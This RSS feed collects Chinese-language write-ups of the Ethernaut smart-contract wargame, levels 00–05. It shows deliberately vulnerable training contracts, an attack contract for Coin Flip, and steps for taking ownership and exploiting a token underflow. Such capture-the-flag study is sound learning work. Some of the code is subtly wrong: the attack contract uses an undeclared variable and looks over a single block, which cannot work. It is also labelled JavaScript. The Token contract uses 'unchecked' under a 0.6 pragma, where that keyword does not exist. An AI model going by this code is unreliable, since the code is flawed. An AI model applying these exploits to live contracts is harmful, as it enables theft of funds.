<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Smart Contracts - Tag - Kyrin Labs</title><link>https://www.kyrin.one/tags/smart-contracts/</link><description>Smart Contracts - Tag - Kyrin Labs</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sat, 08 Nov 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://www.kyrin.one/tags/smart-contracts/" rel="self" type="application/rss+xml"/><item><title>Ethernaut - 01 Fallback</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/01_fallback/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/01_fallback/</guid><description><![CDATA[<h2 id="1-信息">1. 信息：</h2>
<h3 id="11-提示信息">1.1. 提示信息</h3>
<p>进入这一关后，首先可以看到提示：</p>
<blockquote>
<p>[!提示]</p>
<blockquote>
<p>Look carefully at the contract&rsquo;s code below.</p>
<p>You will beat this level if</p>
<ol>
<li>you claim ownership of the contract</li>
<li>you reduce its balance to 0</li>
</ol>
<p>  Things that might help</p>
<ul>
<li>How to send ether when interacting with an ABI</li>
<li>How to send ether outside of the ABI</li>
<li>Converting to and from wei/ether units (see <code>help()</code> command)</li>
<li>Fallback methods</li>
</ul>
</blockquote>
</blockquote>
<h3 id="12-合约代码">1.2. 合约代码</h3>
<p>直接看合约代码(直接在代码里通过注释的方式，分析代码的功能)：</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-Solidity">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Solidity" data-lang="Solidity"><span class="line"><span class="cl"><span class="c1">// SPDX-License-Identifier: MIT
</span></span></span><span class="line"><span class="cl"><span class="c1">// `pragma` specifies the compiler version of Solidity.
</span></span></span><span class="line"><span class="cl"><span class="k">pragma solidity</span> <span class="o">^</span><span class="mi">0</span><span class="p">.</span><span class="mi">8</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">contract</span> <span class="nc">Fallback</span> <span class="p">{</span>    <span class="c1">// 合约名称为：`Fallback`
</span></span></span><span class="line"><span class="cl">	<span class="c1">// 将地址`address`映射到无符号256位整数`uint256`,这个映射的名字是 `contributions`.
</span></span></span><span class="line"><span class="cl">	<span class="c1">// 关键字 `public` 表示Solidity会自动为这个映射生成一个gatter函数，使外部和内部一样可以通过调用`contributions(address)`来查询某个地址对应的uint256值
</span></span></span><span class="line"><span class="cl">	<span class="c1">// 这个 `mapping` 的功能是记录每个地址的贡献值
</span></span></span><span class="line"><span class="cl">    <span class="kd">mapping</span><span class="p">(</span><span class="kt">address</span> <span class="o">=&gt;</span> <span class="kt">uint256</span><span class="p">)</span> <span class="k">public</span> <span class="n">contributions</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 声明一个公开的地址状态变量 `owner`，关键字 `public` 的作用还是生成gatter函数.
</span></span></span><span class="line"><span class="cl">    <span class="kt">address</span> <span class="k">public</span> <span class="n">owner</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// 构造函数，部署合约时只执行一次
</span></span></span><span class="line"><span class="cl">    <span class="kd">constructor</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// 让部署者成为owner，`msg.sender` 中存储的是当前函数调用者的地址
</span></span></span><span class="line"><span class="cl">        <span class="n">owner</span> <span class="o">=</span> <span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 调用这段代码开头的 `contributions` 函数，owner拥有1000ETH的初始贡献（注意：这里是以wei为单位，所以实际是1000*10^18 wei）
</span></span></span><span class="line"><span class="cl">        <span class="n">contributions</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1000</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// 这是一个修饰器
</span></span></span><span class="line"><span class="cl">    <span class="kd">modifier</span> <span class="nf">onlyOwner</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	    <span class="c1">// `require` 是用来条件检查语句，
</span></span></span><span class="line"><span class="cl">        <span class="nb">require</span><span class="p">(</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span> <span class="o">==</span> <span class="n">owner</span><span class="p">,</span> <span class="s">&#34;caller is not the owner&#34;</span><span class="p">);</span><span class="c1">// 只有拥有者可以调用，否则回滚交易并清空所有Gas
</span></span></span><span class="line"><span class="cl">        <span class="k">_</span><span class="p">;</span>         <span class="c1">// 原函数体的插入位置
</span></span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// `payable` 函数是可以接收ETH的函数
</span></span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">contribute</span><span class="p">()</span> <span class="k">public</span> <span class="k">payable</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nb">require</span><span class="p">(</span><span class="nb">msg</span><span class="p">.</span><span class="nb">value</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">.</span><span class="mi">001</span> <span class="kc">ether</span><span class="p">);</span>    <span class="c1">// 要求每次贡献的金额小于0.001 ether
</span></span></span><span class="line"><span class="cl">        <span class="n">contributions</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">+=</span> <span class="nb">msg</span><span class="p">.</span><span class="nb">value</span><span class="p">;</span>    <span class="c1">// 累加发送者的贡献值
</span></span></span><span class="line"><span class="cl">        <span class="c1">// 这个 `if` 用来判断如果当前发送者的贡献值超过当前拥有者的贡献值，则更新拥有者为当前发送者
</span></span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">contributions</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">&gt;</span> <span class="n">contributions</span><span class="p">[</span><span class="n">owner</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">owner</span> <span class="o">=</span> <span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// `view` 函数只读取数据，在链外调用时，不消耗Gas
</span></span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">getContribution</span><span class="p">()</span> <span class="k">public</span> <span class="k">view</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">uint256</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">//  返回当前发送者的贡献值
</span></span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">contributions</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// `onlyOwner` 修饰器负责权限控制，只用owner可以调用
</span></span></span><span class="line"><span class="cl">	<span class="c1">// **address(this).balance**：合约当前的ETH余额
</span></span></span><span class="line"><span class="cl">	<span class="c1">// **payable转换**：将address转换为payable address以接收ETH
</span></span></span><span class="line"><span class="cl">	<span class="c1">// **transfer函数**：发送ETH到指定地址（2300 Gas限制，自动失败）
</span></span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">withdraw</span><span class="p">()</span> <span class="k">public</span> <span class="n">onlyOwner</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">payable</span><span class="p">(</span><span class="n">owner</span><span class="p">).</span><span class="nb">transfer</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">).</span><span class="nb">balance</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">//- **receive函数**：专门处理纯ETH转账的特殊函数
</span></span></span><span class="line"><span class="cl">	<span class="c1">//- **external可见性**：只能从外部调用
</span></span></span><span class="line"><span class="cl">	<span class="c1">//- **payable**：可以接收ETH
</span></span></span><span class="line"><span class="cl">	<span class="c1">//- **条件限制**：需要发送ETH且发送者已有贡献记录
</span></span></span><span class="line"><span class="cl">	<span class="c1">//- **所有权转移**：满足条件时立即成为新owner
</span></span></span><span class="line"><span class="cl">    <span class="n">receive</span><span class="p">()</span> <span class="k">external</span> <span class="k">payable</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nb">require</span><span class="p">(</span><span class="nb">msg</span><span class="p">.</span><span class="nb">value</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">contributions</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">owner</span> <span class="o">=</span> <span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h2 id="2-分析">2. 分析</h2>
<h3 id="21-合约代码逻辑分析">2.1. 合约代码逻辑分析</h3>
<blockquote>
<p>和合约代码逻辑 &amp;&amp; 漏洞利用逻辑
从函数 “contribute()&quot; 可以看出 &ldquo;owner&rdquo; 的贡献为 1000 ETH 。有一种变成 &ldquo;owner&rdquo; 的方式是贡献大于当前 &ldquo;owner&rdquo; 的 1000 ETH。显然不太可能。
那么还有一种方式就是通过 &ldquo;receive()&rdquo; 函数，观察代码可知，当贡献已大于0，并且再发送大于0的金额时，就会被设置成 &ldquo;owner&rdquo; 。</p>]]></description></item><item><title>Ethernaut - 02 FAL1OUT</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/02_fal1out/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/02_fal1out/</guid><description><![CDATA[<h2 id="1-信息">1. 信息：</h2>
<h3 id="11-提示信息">1.1. 提示信息</h3>
<p>进入这一关后，首先可以看到提示：</p>
<blockquote>
<p>[!提示]</p>
<blockquote>
<p>Look carefully at the contract&rsquo;s code below.</p>
</blockquote>
</blockquote>]]></description></item><item><title>Ethernaut - 03 Coin Flip</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/03_coin-flip/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/03_coin-flip/</guid><description><![CDATA[<p><strong>踩坑记录</strong>：区块链上的随机数很难。最初以为用 <code>block.number</code> 就够了，结果看了 Writeup 才知道这是确定性环境。</p>
<p><strong>核心漏洞</strong>：<code>blockhash()</code> 可被预测</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-solidity">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-solidity" data-lang="solidity"><span class="line"><span class="cl"><span class="c1">// 有问题的合约代码
</span></span></span><span class="line"><span class="cl"><span class="kd">contract</span> <span class="nc">CoinFlip</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint256</span> <span class="k">public</span> <span class="n">consecutiveWins</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint256</span> <span class="n">lastHash</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">flip</span><span class="p">(</span><span class="kt">bool</span> <span class="n">_guess</span><span class="p">)</span> <span class="k">public</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint256</span> <span class="n">blockValue</span> <span class="o">=</span> <span class="kt">uint256</span><span class="p">(</span><span class="nb">blockhash</span><span class="p">(</span><span class="nb">block</span><span class="p">.</span><span class="nb">number</span> <span class="o">-</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">lastHash</span> <span class="o">==</span> <span class="n">blockValue</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nb">revert</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">lastHash</span> <span class="o">=</span> <span class="n">blockValue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uint256</span> <span class="n">coinFlip</span> <span class="o">=</span> <span class="n">blockValue</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="kt">bool</span> <span class="n">side</span> <span class="o">=</span> <span class="n">coinFlip</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">?</span> <span class="kc">true</span> <span class="o">:</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">side</span> <span class="o">==</span> <span class="n">_guess</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">consecutiveWins</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">consecutiveWins</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong>攻击思路</strong>（来源：Ethernaut 官方解答）：
由于 <code>block.number - 1</code> 的哈希在交易打包时已知，我们可以部署攻击合约提前计算：</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-javascript">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 攻击合约（需部署到相同区块）
</span></span></span><span class="line"><span class="cl"><span class="nx">contract</span> <span class="nx">CoinFlipHack</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">CoinFlip</span> <span class="kr">public</span> <span class="nx">victim</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">uint256</span> <span class="kr">public</span> <span class="nx">consecutiveWins</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">constructor</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_victim</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">victim</span> <span class="o">=</span> <span class="nx">CoinFlip</span><span class="p">(</span><span class="nx">_victim</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nx">attack</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">uint256</span> <span class="nx">blockValue</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">blockhash</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">number</span> <span class="o">-</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">        <span class="nx">uint256</span> <span class="nx">coinFlip</span> <span class="o">=</span> <span class="nx">blockValue</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">bool</span> <span class="nx">guess</span> <span class="o">=</span> <span class="nx">coinFlip</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">?</span> <span class="kc">true</span> <span class="o">:</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nx">victim</span><span class="p">.</span><span class="nx">flip</span><span class="p">(</span><span class="nx">guess</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 必须每个区块调用一次，因为 blockhash 只在当前区块有效
</span></span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nx">attackInLoop</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="nx">uint</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 需要等待新区块
</span></span></span><span class="line"><span class="cl">            <span class="nx">require</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">number</span> <span class="o">&gt;</span> <span class="nx">lastBlock</span><span class="p">,</span> <span class="s2">&#34;Wait for new block&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">attack</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">lastBlock</span> <span class="o">=</span> <span class="nx">block</span><span class="p">.</span><span class="nx">number</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong>成功条件</strong>：连续赢 10 次</p>]]></description></item><item><title>Ethernaut - 04 Telephone</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/04_telephone/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/04_telephone/</guid><description><![CDATA[<p><strong>核心漏洞</strong>：<code>tx.origin</code> 与 <code>msg.sender</code> 的区别</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-solidity">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-solidity" data-lang="solidity"><span class="line"><span class="cl"><span class="kd">contract</span> <span class="nc">Telephone</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">address</span> <span class="k">public</span> <span class="n">owner</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">changeOwner</span><span class="p">(</span><span class="kt">address</span> <span class="n">_owner</span><span class="p">)</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nb">tx</span><span class="p">.</span><span class="nb">origin</span> <span class="o">!=</span> <span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// 这里本意是防止合约调用，但逻辑反了
</span></span></span><span class="line"><span class="cl">            <span class="n">owner</span> <span class="o">=</span> <span class="n">_owner</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong>攻击思路</strong>（来源：OpenZeppelin 安全博文）：
<code>tx.origin</code> 是最初发起交易的外部账户（EOA），而 <code>msg.sender</code> 是最近一次调用的地址。</p>
<p><strong>攻击流程</strong>：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>你的 EOA (tx.origin) → 攻击合约 (msg.sender) → Telephone合约</code></pre></div>
<p>在 Telephone 合约中：</p>
<ul>
<li><code>tx.origin</code> = 你的 EOA（外部账户）</li>
<li><code>msg.sender</code> = 攻击合约地址</li>
</ul>
<p>所以 <code>tx.origin != msg.sender</code> 条件为 <code>true</code>，满足 owner 变更条件。</p>]]></description></item><item><title>Ethernaut - 05 Token</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/05_token/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/05_token/</guid><description><![CDATA[<p><strong>踩坑记录</strong>：版本管理的重要性。</p>
<p><strong>核心漏洞</strong>：未检查余额扣减时的整数下溢</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-solidity">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-solidity" data-lang="solidity"><span class="line"><span class="cl"><span class="c1">// 漏洞合约（版本 ^0.6.0）
</span></span></span><span class="line"><span class="cl"><span class="kd">contract</span> <span class="nc">Token</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">mapping</span><span class="p">(</span><span class="kt">address</span> <span class="o">=&gt;</span> <span class="kt">uint</span><span class="p">)</span> <span class="n">balances</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint256</span> <span class="k">public</span> <span class="n">totalSupply</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">constructor</span><span class="p">(</span><span class="kt">uint256</span> <span class="n">_initialSupply</span><span class="p">)</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">balances</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">=</span> <span class="n">totalSupply</span> <span class="o">=</span> <span class="n">_initialSupply</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">function</span> <span class="nf">transfer</span><span class="p">(</span><span class="kt">address</span> <span class="n">_to</span><span class="p">,</span> <span class="kt">uint256</span> <span class="n">_value</span><span class="p">)</span> <span class="k">public</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 这里使用了 unchecked！
</span></span></span><span class="line"><span class="cl">        <span class="kr">unchecked</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">balances</span><span class="p">[</span><span class="nb">msg</span><span class="p">.</span><span class="nb">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="n">_value</span><span class="p">;</span> <span class="c1">// 若余额不足，会下溢到 2^256-1
</span></span></span><span class="line"><span class="cl">            <span class="n">balances</span><span class="p">[</span><span class="n">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="n">_value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong>攻击流程</strong>（来源：OpenZeppelin 安全博文）：
如果你的余额是 20，你要转账 21：</p>
<ul>
<li><code>balances[msg.sender] -= 21</code> → 下溢 → 余额 = 2^256 - 1</li>
<li>瞬间获得无限代币</li>
</ul>
<p><strong>攻击步骤</strong>：</p>
<ol>
<li>获取初始代币（比如 20 个）</li>
<li>调用 <code>transfer(受害地址, 21)</code></li>
<li>你的余额变为极大值</li>
</ol>
<p><strong>个人感悟</strong>：版本管理！版本管理！版本管理！版本管理！版本管理！版本管理！版本管理！版本管理！</p>]]></description></item><item><title>Ethernaut - 00 Hello Ethernaut</title><link>https://www.kyrin.one/techshare/writeups/ethernaut/00_hello-ethernaut/</link><pubDate>Sat, 08 Nov 2025 00:00:00 +0000</pubDate><author>Dalek</author><guid>https://www.kyrin.one/techshare/writeups/ethernaut/00_hello-ethernaut/</guid><description><![CDATA[<p>解题的时候 没有记录。。。。。。。。。</p>
<h3 id="简单写一下流程">简单写一下流程：</h3>
<h4 id="1-访问网站httpsethernautopenzeppelincom">1. 访问网站&quot;https://ethernaut.openzeppelin.com/&quot;</h4>
<p>![[Pasted image 20251108102304.png]]</p>
<h4 id="2-点击00的小手图标后进入第一个题目hello-ethernaut">2. 点击&quot;00&quot;的小手图标后进入第一个题目(Hello Ethernaut):</h4>
<p>![[Pasted image 20251108102641.png]]</p>
<h4 id="3-随后按照教学步骤操作即可">3. 随后按照教学步骤操作即可。</h4>
<h3 id="这里记录一下踩到的坑和解题步骤">这里记录一下踩到的坑和解题步骤：</h3>
<h4 id="1-坑水龙头提取不到i测试币">1. 坑：水龙头提取不到i测试币</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Note<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><p>（发现目前几个水龙头都有点问题），要求钱包里至少有0.001ETH或者1Link之类的</p></div>
    </div>
</div><p>![[Pasted image 20251108105610.png]]
目前这几个都没领到测试币：</p>
<blockquote>
<p><a href="https://faucets.chain.link/" target="_blank" rel="noopener noreffer ">https://faucets.chain.link/</a>
<a href="https://cloud.google.com/application/web3/faucet/ethereum/sepolia" target="_blank" rel="noopener noreffer ">https://cloud.google.com/application/web3/faucet/ethereum/sepolia</a></p>
</blockquote>
<h4 id="解决方法">解决方法：</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Note<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><p>1、给钱包里放超过0.001ETH后，这个网站可以领到币（https://faucet.quicknode.com/ethereum/sepolia）。</p>
<p>2、听说B站有博主，关注之后会定期放水，有空可以了解一下。</p></div>
    </div>
</div><p>![[Pasted image 20251108114327.png]]</p>
<h4 id="解题步骤">解题步骤：</h4>
<ol>
<li>按照新手指引，创建好钱包、账户并获取了测试币后，打开浏览器控制台</li>
<li>在控制台输入指令顺序大致如下()：
Step_1：（按照提示获得的第一个method，）</li>
</ol>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>await contract.info()
// Output: &#39;You will find what you need in info1().&#39;</code></pre></div>
<p>Step_2：（根据info的输出获得第二个method是info1）</p>]]></description></item></channel></rss>